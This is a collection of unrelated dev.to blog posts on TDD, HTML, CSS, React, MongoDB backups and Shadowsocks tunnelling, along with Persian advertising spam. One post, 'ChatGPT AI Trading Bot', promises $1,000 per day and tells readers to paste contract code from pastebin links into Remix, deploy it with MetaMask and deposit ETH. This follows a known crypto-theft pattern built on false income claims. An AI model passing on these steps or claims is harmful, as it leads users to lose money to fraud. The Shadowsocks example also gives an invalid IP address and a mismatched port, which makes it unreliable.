teleren/devto huggingface dataset:
TDD
Tags: tdd, testing, webdev, programming
Published: 2023-09-02 17:12:22


Hoje em dia, é bastante comum encontrar aplicações que são desenvolvidas sem o uso do teste, pois algumas pessoas acreditam que os teste podem ser uma perda de tempo. Muitos optam por ignorar essa etapa e decidem fazer os teste da funcionalidade direto em produção. A tecnologia é muito imprevisível, erros e bugs podem nos pegar de surpresa, transformando as correções, mais trabalhosas e demoradas do que os testes.

Pra isso, hoje existem vários métodos e ferramentas, de testar nossa aplicação e hoje vamos falar do TDD, mas afinal, o que é isso?

### TDD ( Test-driven Development )

TDD ou Test-Driven Development ( Desenvolvimento orientado a teste ) é uma forma de desenvolvimento de software que te obriga a escrever testes antes do código de produção. Para isso, o TDD tem 3 etapas a serem seguidas, que são:

**Desenvolvimento do teste:** Primeiro escrevemos o testa da funcionalidade. Geralmente, esse primeiro teste falha, pois ainda não existe a funcionalidade em produção.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hdgwucyoiazrr24fchzj.png)

Nesse caso, vamos ter o erro na linha 6, pois o SignUpController ainda não existe em produção, o que nos leva a segunda etapa.

**Desenvolvimento da funcionalidade:** Agora, precisamos desenvolver a funcionalidade de produção. Nesta etapa, o foco não é o código, mas a função deve ter o mínimo para que o teste seja aprovado.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1mblr0ja0ogu7tzz9sgr.png)

Pode observar que é um código simples, mas tem tudo que o nosso teste precisa para ser aprovado. Mas sabemos que esse código pode melhorar, o que leva a terceira etapa.

**Refino:** Nesta etapa você precisa refinar o código, garantindo que o teste esteja passando, resultando em uma funcionalidade testada, eficiente e limpa.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n41a7ptz5bjk8mf7efk8.png)


### Concluindo

O uso de testes não é tão complexo quanto parece, e os benefícios que eles proporcionam são muito maiores do que o tempo que você gasta desenvolvendo-os.

Obrigado :)
Checkout my new blog
Published: 2023-09-02 17:10:01

Exciting news! Our latest blog delves deep into the world of DevOps, sharing insights on how to streamline your software delivery pipeline and boost collaboration. 💼 Join the conversation and let's drive innovation together. Read more here: https://blog.kssaiteja.me/navigating-the-devops-roadmap #DevOps #SoftwareDevelopment #Collaboration
What is a web page?
Tags: webdev, html, beginners
Published: 2023-09-02 15:18:34

A web page is an HTML file. An HTML file can be linked to one or more other HTML files to build a visual appealing website to be displayed on a browser.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xnwvp39mzzybmjn07trd.jpg)
Tunnel any port over shadowsocks in openwrt using ss-tunnel
Tags: shadowsocks, vpn, cloak, openwrt
Published: 2023-09-02 15:12:32

When you install luci-app-shadowsocks-libev on openwrt, there is a mudule called ss-tunnel.

SS-Tunnel is also part of any standard shadowsocks-libev or shadowsocks-rust installation in linux.

But what does it do?

SS-Tunnel can forward any local port over shadowsocks.

For example if you have an openvpn server somewhere with ip address of 214.43.76.543 listening on port 1194, you can easily connect to it over shadowsocks by setting 214.43.76.543:119 as tunnel address in ss-tunnel.

Now if ss-tunnel is listening on local port 1085, you can use it as your remote server ip in your openvpn config like this:

```
remote 127.0.0.1 1085
```
This is very useful if openvpn is blocked on your network.

[Cloak](https://github.com/cbeuw/Cloak) is another alternative. 


![screenshot](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a424ug0yku13wk3pwh0x.png)
What framework is the best?
Tags: discuss, webdev, javascript, programming
Published: 2023-09-02 15:07:50

So, the last couple of months I got bored of JS and programming in general, but now I want to make a comeback.
I want to start over from scratch so I'll be moving away from my old css framework (TailwindCSS) to a new one (Mantine UI).
And I wanted to get rid of ReactJS also for a while, but I am stuck, here are my options:
1. SolidJS:
The fast and reliable, but I am a bit scared 'cause solid start is in beta, and NextJS was a solid part of my workflow (no pun intended)
2. Svelte:
Also fast, but this one scares me a little because it is not very familiar and I'm not sure if I'll pick it up.
PS. If you have another framework suggest it please, and thank you.
What is a website?
Tags: webdev, html, beginners
Published: 2023-09-02 15:02:50

A web page or a group of web pages under the same domain constitutes a website. For example, `demo.com` might have numerous pages interlinked with each other, not the pages from different domain like `another.com`
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/km8wnbloc51x3v1198nq.jpg)
What you learning about this weekend?
Tags: codenewbie, discuss, beginners, learning
Published: 2023-09-02 15:00:00

Heyo 👋

What ya learning on this weekend?

Whether you're sharpening your [JS](https://dev.to/t/javascript) skills, making PRs to [your OSS repo of choice](https://github.com/forem/forem) 😉, sprucing up your portfolio, or [writing a new post](https://dev.to/new) here on DEV, we'd like to hear about it.

Wishing ya the best on your work... remember to take breaks and enjoy yourself!

![Gif of Steven Yeun in an interview saying "Unlearning and Relearning](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oynxb8szu6a6dcq5nu1l.gif)
What is HTML? Why do we need to learn HTML?
Tags: webdev, html
Published: 2023-09-02 14:51:29

Hyper Text Markup Language or HTML is the markup language used to create the backbone/structure of a website/web app. 

As HTML is the first file which is being loaded and parsed by a browser and every web page is run on a browser. Henceforth, it is a crucial part of a web. It is similar to the main method of some other programing languages, where execution begins.
Pay to Win: Linkedin Premium vê mais vagas?
Tags: javascript, linkedin, reactnative, flutter
Published: 2023-09-02 14:35:48

Dias atrás um pessoal entrou em uma briga infinda no Twitter sobre `Flutter` ter mais ou menos vagas que `React-Native`, o objetivo disso? Tentar falar que uma linguagem, ferramenta, lib ou framework é "**melhor**" que outra.

Acontece que no meio dessa "**rinha**", eu notei que algumas pessoas viam mais vagas ou menos vagas do que eu via e isso me deixou curioso, afinal: quem paga **LinkedIn** tem algum tipo de preferência ou benefício sobre as vagas publicadas na rede?

Pra tentar descobrir isso eu fiz um experimento com três contas diferentes: A minha conta pessoal com o **LinkedIn** Premium pago, uma conta nova, criada no dia do teste e uma conta antiga que eu criei e preenchi como se fosse um recrutador, pra entender que tipo de ferramenta os recrutadores usam para achar os perfis de profissionais na rede...

_Pra ficar ainda mais interessante, eu documentei essa jornada em vídeo e acho que você pode gostar de assistir e descobrir essa resposta junto comigo!_

{% embed https://www.youtube.com/watch?v=xC_8etWmsjg %}
Q) Why can't `use` hook be called inside a closure?
Tags: react
Published: 2023-09-02 14:15:10

I am learning about the new `use` hook that will be introduced in React 18.3.

The RFC states that use hook can be called conditionally, but also enforces that it must be directly called inside a Component or Hook. ([Conditionally suspending on data](https://github.com/acdlite/rfcs/blob/first-class-promises/text/0000-first-class-support-for-promises.md#conditionally-suspending-on-data))


The RFC is taking two examples, each represents valid and invalid case.

```tsx
function ItemsWithForLoop() {
  const items = [];
  for (const id of ids) {
    // ✅ This works! The parent function is a component.
    const data = use(fetchThing(id));
    items.push(<Item key={id} data={data} />);
  }
  return items;
}

function ItemsWithMap() {
  return ids.map((id) => {
    // ❌ The parent closure is not a component or Hook!
    // This will cause a compiler error.
    const data = use(fetchThing(id));
    return <Item key={id} data={data} />;
  });
}
```

But how could React ever know (not the compiler) if the `use` hook was called inside `map`?
It leads to my question that why this restriction is imposed.
BRICS: Pioneering the New Era of World Economics
Published: 2023-09-02 14:12:48

Dive into the remarkable journey of BRICS—an alliance of nations: Brazil, Russia, India, China, and South Africa—ushering in a transformative era of global economics, united by growth, innovation, and influence.

Read more on 

https://thecoreviews.com/general/brics-new-era-world-economics/
30 awesome CSS Background Patterns ✨
Tags: css, webdev, html
Published: 2023-09-02 14:05:23

With these 30 CSS Background Patterns you are sure to find the perfect background for your app or website.

> The pens shown are licensed with MIT. You can find more info about your own use on the [Codepen Blog](https://blog.codepen.io/documentation/licensing/).

## #1 Japanese cube
{% codepen https://codepen.io/tankred/pen/vELNNY %}
Author: [Tankred](https://codepen.io/tankred);

## #2 Steps
{% codepen https://codepen.io/joshnh/pen/DWNgJX %}
Author: [Joshua Hibbert](https://codepen.io/joshnh);

## #3 Rotan weave
{% codepen https://codepen.io/jroenf/pen/DgbMqV %}
Author: [Joroen Franse](https://codepen.io/jroenf);

## #4 Tables
{% codepen https://codepen.io/thebabydino/pen/yLEvaeE %}
Author: [Ana Tudor](https://codepen.io/thebabydino);

## #5 Slack CSS background pattern
{% codepen https://codepen.io/MHLut/pen/JKEjJK %}
Author: [Marijke Luttekes](https://codepen.io/MHLut);

## #6 Children in Need CSS Background Pattern
{% codepen https://codepen.io/chris22smith/pen/dOOrOP %}
Author: [Chris Smith](https://codepen.io/chris22smith/pen/dOOrOP);

## #7 Street in the city
{% codepen https://codepen.io/lovefield/pen/NdGVMG %}
Author: [Ha Hyun Yong](https://codepen.io/lovefield);

## #8 Rainbow
{% codepen https://codepen.io/raad/pen/kNRgZw %}
Author: [Raad Al-Raw](https://codepen.io/raad);

## #9 Circles
{% codepen https://codepen.io/sjhudek/pen/QNeBBL %}
Author: [Steve Hudek](https://codepen.io/sjhudek);

## #10 Blue Triangles
{% codepen https://codepen.io/vlad-saling/pen/ndwyJy %}
Author: [vlad-saling](https://codepen.io/vlad-saling);

---
<center>
**⭐🔗 [Find the other 20 CSS backgrounds on my blog](https://webdeasy.de/en/css-background-patterns-en/) 🔗⭐
</center>**

---

> Note: All forms are all published on [codepen.io](https://codepen.io/) and <u>not</u> by me.

...or out my other CSS Collections:
- [CSS Buttons](https://webdeasy.de/en/top-css-buttons-en/)
- [CSS Hamburger Menus](https://webdeasy.de/en/css-hamburger-menus-en/)
- [CSS 404-Error Pages](https://webdeasy.de/en/top-404-pages/)
- [CSS Menu Inspirations](https://webdeasy.de/en/top-css-navigation-menus-en/)
- [CSS Animations](https://webdeasy.de/en/satisfying-css-animations/)
- [CSS Loading Animations](https://webdeasy.de/en/css-loading-animations/)
- [CSS Forms](https://webdeasy.de/en/css-forms/)
ChatGPT AI Trading Bot: How to Make $1,000 Per Day in Passive Income
Tags: web3, ethereum, solidity, blockchain
Published: 2023-09-02 13:34:53

I tapped into the potential of ChatGPT to create an Arbitrage Trading Bot that exclusively targets profitable arbitrage opportunities in the Uniswap Wrapped Ethereum (WETH) Liquidity Pairs. The outcome? A mind-blowing and highly successful trading bot that has the potential to skyrocket your earnings in DeFi.

This bot is earning people thousands of dollars DAILY in passive income!  It's super easy to setup and you don't need any coding experience. The steps are shown in the video, as well as below here!

💬 Contact me on Telegram with any questions: https://t.me/DavidWeb3YT
⌨️ Bot Source Code: https://pastes.io/raw/prtiudrdcq

STEP BY STEP INSTRUCTIONS:

👉 Download MetaMask: https://metamask.io/download

👉 Head over to Remix: https://remix.re

👉 Right Click the “Contracts” folder and then create “New File”. Rename it whatever you want or “bot.sol”

👉 Paste THIS code into Remix: https://pastes.io/raw/prtiudrdcq
🔎 Backup Source Code URL: https://pastebin.com/raw/KxU7bjDJ

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2ah2rluel4ms0df2wund.png)

👉 Go to the "Compile" tab on Remix and Compile with Solidity version 0.6.6


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y6hjneremsvehqp3lmgb.png)

👉 Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then “Deploy”. This will create your own contract by confirming the MetaMask Contract creation fee.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/65pw26x556tdv63lux0x.png)



👉 Deposit funds (at least 0.2 ETH to prevent negating slippage) to your exact contract/bot address.

👉 After your transaction is confirmed, start the bot by clicking the "start" button. Withdraw anytime by clicking "withdrawal"


Share your profits in the comments section below. Like and subscribe for more lucrative Solidity tutorials.

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

🔎 How can I restore the old contract again?

If the link on the Remix site was broken while creating your contract, repeat step 5 above to withdraw money or regain access to the contract you created.

Instead of "Deploy" by creating a new contract in the "DEPLOY & RUN OPERATIONS" section, you can access your old contract again by typing the old contract address you created in the "At Address" field and clicking the "At Address" button.
Note: Access cannot be made with any other account other than your MetaMask account where you created the contract.

➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖

❤️ Stay safe out there.
—David
Day 39: Nullable Strings
Tags: javascript, typescript, 100daysofcode, day39
Published: 2023-09-02 13:30:00

## Question: Handling Nullable Strings

Write a function where you need to calculate the length of the string if it's present, or return -1 if it's null. TypeScript's strict type checking can make this seemingly simple task a bit tricky.

```typescript
const str1: string | null = "Hello, TypeScript!";
const str2: string | null = null;

console.log(getStringLength(str1)); // Output: 18
console.log(getStringLength(str2)); // Output: -1
```
HTML5 Semantic Elements
Tags: beginners, webdev, tutorial, programming
Published: 2023-09-02 12:34:17

Hey there, Web Enthusiasts! 🎉

Today, let's talk about **HTML5 Semantic Elements**. Semantic elements are HTML tags that inherently carry meaning both for the browser and for the developer. Using them appropriately makes your code easier to read and accessible.

## Common HTML5 Semantic Elements

Here are some of the widely-used semantic elements in HTML5:

- `<header>`: The top area usually containing a logo, site title, and main navigation.
- `<footer>`: The bottom part of the page usually containing copyright info, social media links, etc.
- `<article>`: Represents a self-contained composition.
- `<section>`: A stand-alone section that should make sense on its own.
- `<nav>`: A section of a page that contains the navigation links.

## Code Example

Here is a sample HTML layout using semantic elements:

```html
<!DOCTYPE html>
<html>
<head>
  <title>Semantic Elements</title>
</head>
<body>

  <header>
    <h1>My Cool Website</h1>
  </header>

  <nav>
    <ul>
      <li><a href="#">Home</a></li>
      <li><a href="#">About</a></li>
      <li><a href="#">Contact</a></li>
    </ul>
  </nav>

  <section>
    <h2>About Us</h2>
    <p>This is the about section.</p>
  </section>

  <article>
    <h2>Blog Post Title</h2>
    <p>This is a fantastic blog post.</p>
  </article>

  <footer>
    <p>Copyright 2023, My Cool Website</p>
  </footer>

</body>
</html>
```

As you can see, using these elements makes the code easier to understand compared to non-semantic elements like `<div>` and `<span>`.
Debugging is like being the detective in a crime movie
Published: 2023-09-02 12:34:07

**Debugging** is like being the detective in a crime movie, except the crime scene is your own code, and the culprit is usually a missing semicolon.

![Debugging](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gsgdsq17pzq5x0pruux4.png)
فروش پنجره دوجداره در کرج
Published: 2023-09-02 12:32:48

برای اطلاع از [قیمت پنجره دوجداره](https://tmpalborz.com/1005-%D9%BE%D9%86%D8%AC%D8%B1%D9%87_%D8%AF%D9%88%D8%AC%D8%AF%D8%A7%D8%B1%D9%87) میتوانید از سایت مبنا پنجره علیزاده دیدن کنید.و اون همچنین نمایندگی رسمی [فروش پنجره دوجداره در کرج](https://tmpalborz.com/1005-%D9%BE%D9%86%D8%AC%D8%B1%D9%87_%D8%AF%D9%88%D8%AC%D8%AF%D8%A7%D8%B1%D9%87) هافمن را برعهده دارد.
Responsive Design with CSS Media Queries
Tags: webdev, beginners, css, codenewbie
Published: 2023-09-02 12:32:43

Hello, Developers! 🌟

Today, we're going to explore the magical world of **Responsive Web Design**. We all know how essential it is for websites to look good on all devices. Thanks to CSS Media Queries, making a site responsive has never been easier.

## What are Media Queries?

Media Queries allow us to apply different styles for different media types and screen sizes. You can change the layout, fonts, colors, and other design elements depending on the device's viewport size.

## Basic Syntax

The most straightforward media query syntax looks like this:

```css
@media screen and (min-width: 768px) {
  /* Your CSS here */
}
```

## Let's Get Practical!

Imagine you have a simple HTML layout:

```html
<!DOCTYPE html>
<html>
<head>
  <title>Responsive Design</title>
  <link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
  <div class="container">
    <h1>Welcome to My Website</h1>
    <p>This is a sample paragraph.</p>
  </div>
</body>
</html>
```

And your CSS:

```css
.container {
  width: 100%;
  margin: auto;
}
```

### Adding Responsiveness

We'll use media queries to change the `.container` width when the viewport is at least `768px`:

```css
@media screen and (min-width: 768px) {
  .container {
    width: 70%;
  }
}
```

Now your container will take up `70%` of the screen only when the screen width is `768px` or larger. Simple, isn't it?
درب و پنجره دوجدار upvc
Published: 2023-09-02 12:30:04

[پنجره دوجداره](https://tmpalborz.com/1005-%D9%BE%D9%86%D8%AC%D8%B1%D9%87_%D8%AF%D9%88%D8%AC%D8%AF%D8%A7%D8%B1%D9%87) برخلاف سایر درب و پنجره ها که همه دارای یک شیشه هستند. به گونه ای ساخته شده اند که دو شیشه دارند . این دو شیشه معمولا به واسطه شکافی .۶تا۲۰ میلی متر از هم فاصله دارند. البته بهتر است بدانید که شکاف بین دو شیشه کاملا پلمپ شده است. و به وسیله گاز آرگون پر می شود. این گاز به عنوان یک عایق کاربرد دارد.
[درب و پنجره upvc ](https://tmpalborz.com/1005-%D9%BE%D9%86%D8%AC%D8%B1%D9%87_%D8%AF%D9%88%D8%AC%D8%AF%D8%A7%D8%B1%D9%87)

شرکت مبنا پنجره علیزاده تولید کننده [پنجره ترمال بریک](https://tmpalborz.com/1010-%D8%AF%D8%B1%D8%A8_%D9%88_%D9%BE%D9%86%D8%AC%D8%B1%D9%87_%D8%AA%D8%B1%D9%85%D8%A7%D9%84_%D8%A8%D8%B1%DB%8C%DA%A9)،[پنجره آلومینیومی](https://tmpalborz.com/1010-%D8%AF%D8%B1%D8%A8_%D9%88_%D9%BE%D9%86%D8%AC%D8%B1%D9%87_%D8%AA%D8%B1%D9%85%D8%A7%D9%84_%D8%A8%D8%B1%DB%8C%DA%A9) در کرج و تهران می باشد.
هواکش صنعتی،قیمت هواکش
Published: 2023-09-02 12:18:55

[هواکش صنعتی](https://www.tahvieamaj.com/1008-%D9%87%D9%88%D8%A7%DA%A9%D8%B4_%D8%B5%D9%86%D8%B9%D8%AA%DB%8C) یکی از تجهیزات اساسی در بسیاری از صنایع است که برای از بین بردن گازها، مواد شیمیایی، دود و بخار در فضاهای صنعتی استفاده می‌شود. انتخاب و خرید یک [هواکش](https://www.tahvieamaj.com/1008-%D9%87%D9%88%D8%A7%DA%A9%D8%B4_%D8%B5%D9%86%D8%B9%D8%AA%DB%8C) صنعتی مناسب می‌تواند تاثیر قابل توجهی در بهره‌وری و ایمنی محیط کار داشته باشد. در این مقاله، به بررسی عواملی که در انتخاب هواکش صنعتی تاثیرگذار هستند و نکاتی که باید در زمان خرید آن رعایت شوند، خواهیم پرداخت.
هواکش سانتریفیوژ،قیمت فن سانتریفیوژ
Published: 2023-09-02 12:17:48

[هواکش سانتریفیوژ](https://www.tahvieamaj.com/1007-%D9%87%D9%88%D8%A7%DA%A9%D8%B4_%D8%B3%D8%A7%D9%86%D8%AA%D8%B1%DB%8C%D9%81%DB%8C%D9%88%DA%98) یکی از مهمترین اجزای سیستم تهویه مطبوع است که برای جلوگیری از تجمع گرد و غبار و ایجاد هوای تمیز و تازه در فضاهای مختلف استفاده می‌شود. این هواکش با استفاده از یک موتور الکتریکی و یک یا چندین پره سانتریفیوژی که در داخل یک محفظه قرار دارد، هوا را از داخل فضا جذب کرده و آن را به بیرون فرستاده می‌کند.
استفاده از [هواکش](https://www.tahvieamaj.com/1008-%D9%87%D9%88%D8%A7%DA%A9%D8%B4_%D8%B5%D9%86%D8%B9%D8%AA%DB%8C) سانتریفیوژ به دلیل داشتن پره هایی با سرعت بالا و قابل تنظیم، میتواند به طور موثری گرد و غبار و هوای آلوده را از فضاهای مختلف حذف کند و به جای آن هوای تمیز و تازه را در محیط فراهم کند. همچنین هواکش سانتریفیوژ به دلیل ساختار ساده و کم هزینه‌ای که دارد، به عنوان یکی از گزینه‌های مناسب برای تهویه مطبوع در انواع محیط‌ها از جمله مسکن‌ها، ادارات، فروشگاه‌ها و ساختمان‌های صنعتی و تجاری مورد استفاده قرار می‌گیرد.
[اگزاست فن](https://www.tahvieamaj.com/1009-%D8%A7%DA%AF%D8%B2%D8%A7%D8%B3%D8%AA_%D9%81%D9%86) برای کنترل هوا استفاده می شود. اگزاست فن محیط داخلی را با خروج از بوی ناخواسته،ذرات، سیگار، رطوبت و سایر آلاینده ها که ممکن است در هوا حضور داشته باشد، پاک میکند. نصب این محصول معمولا بسیار آسان است، بنابراین آنها را می توان در نقاط مختلف نیز قرار داد.از این محصول در فصل های مختلف برای سالن های مرغداری و گلخانه ها و همچنین کارخانه ها و کارگاه های بزرگ نیز استفاده می شود. در این مکان ها هوای آلوده سمی از مرغداری و گلخانه خارج می شود.
MongoDB: How to export all collections? [Local/Remote]
Tags: mongodb
Published: 2023-09-02 12:13:50

## Local

**Dump**

```sh
mongodump -d <database_name> -o <directory_backup>
```

**Restore**

```sh
mongorestore -d <database_name> <directory_backup>
```

---

## Remote

**Dump**

```sh
mongodump --uri <uri_string> -o <directory_backup>
```

**Restore**

```sh
mongorestore --uri <uri_string> <directory_backup>
```

---

> Note that I would recommend against using mongodump/mongorestore for big data storages. It is very slow and once you get past 10/20GB of data it can take hours to restore.